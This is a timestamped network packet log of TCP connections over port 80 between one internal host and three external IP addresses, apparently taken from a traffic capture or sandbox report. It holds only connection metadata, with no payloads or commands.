Sep 11, 2024 16:22:18.020776987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020776987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020790100 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020802021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020804882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020813942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020824909 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020824909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020837069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020848989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020850897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020864964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020875931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020879030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020888090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020920992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.020963907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020975113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020986080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020998001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.020998001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021008968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021020889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021022081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021043062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021056890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021428108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021437883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021447897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021461010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021471977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021476030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021481991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021495104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021500111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021507025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021518946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021523952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021529913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021542072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.021545887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021558046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.021574020 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.022103071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022113085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022123098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022129059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022141933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022150993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.022156000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022169113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022177935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.022186041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.022202015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.022222042 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.046471119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046483040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046493053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046511889 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046523094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046534061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046545029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046555996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.046608925 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.046608925 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047411919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047424078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047434092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047446012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047456980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047468901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047481060 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047486067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047486067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047491074 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047499895 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047502995 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047513962 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047523975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.047530890 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047558069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.047573090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.049153090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.049164057 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.049173117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.049226046 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.049226046 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050822020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050832033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050843954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050853968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050864935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050874949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050885916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050896883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050904036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050904036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050909042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050919056 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050920010 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050930977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050940990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050952911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050957918 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050957918 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050962925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050973892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.050996065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.050996065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.051009893 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052645922 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052654982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052664042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052676916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052687883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052699089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052709103 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052709103 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052710056 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052721977 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052723885 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052731037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052742004 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052752018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052761078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052762985 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052762985 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052771091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052787066 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052798033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052807093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052807093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052809000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052819967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052830935 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052840948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052845955 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052846909 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052851915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052862883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.052889109 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052889109 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.052937031 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053025007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053035975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053045988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053056955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053069115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053077936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053088903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053092003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053092003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053100109 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053112030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053122997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053127050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053127050 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053133965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.053172112 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.053172112 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057471991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057483912 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057496071 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057506084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057518005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057528973 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057539940 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057544947 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057544947 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057550907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057562113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057564974 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057573080 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057584047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057599068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057599068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057631016 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057653904 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057745934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057764053 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057773113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057782888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057794094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057805061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057811022 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057811022 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057816029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057826996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057837009 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057853937 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:18.057859898 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057859898 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057879925 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.057919979 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:18.058731079 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.058742046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.058753014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.058785915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.058814049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.058969975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.058980942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.058990955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059001923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059017897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.059042931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.059667110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059676886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059689045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059700012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059710979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059721947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.059722900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059735060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.059740067 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.059755087 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.059772015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.069026947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069036961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069046974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069072962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069082975 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069093943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069104910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069109917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069153070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069340944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069351912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069363117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069375038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069386959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069387913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069397926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069422007 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069446087 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069473028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069483042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069494009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069505930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069513083 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069516897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069530010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069556952 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069581985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069593906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069607973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069636106 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069638968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069648981 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069659948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069669962 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069669962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069681883 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069698095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069721937 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069747925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069758892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069770098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069782019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069792986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069792986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069818974 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069834948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069897890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069909096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069920063 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069931984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069943905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.069943905 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069969893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069984913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.069998026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070008039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070019960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070038080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070048094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070058107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070060968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070070028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070089102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070110083 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070137978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070147991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070159912 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070172071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070179939 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070183039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070208073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070223093 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070245028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070256948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070267916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070280075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070286989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070312977 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070338011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070348978 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070359945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070369959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070370913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070398092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070611954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070622921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070633888 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070648909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070652008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070663929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070673943 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070681095 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070687056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.070699930 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.070715904 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073168993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073180914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073193073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073205948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073215961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073227882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073229074 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073265076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073265076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073282003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073303938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073314905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073326111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073337078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073344946 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073348045 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073359966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073370934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073395967 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073410034 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.073427916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.073597908 CEST	80	49735	147.45.44.104	192.168.2.4
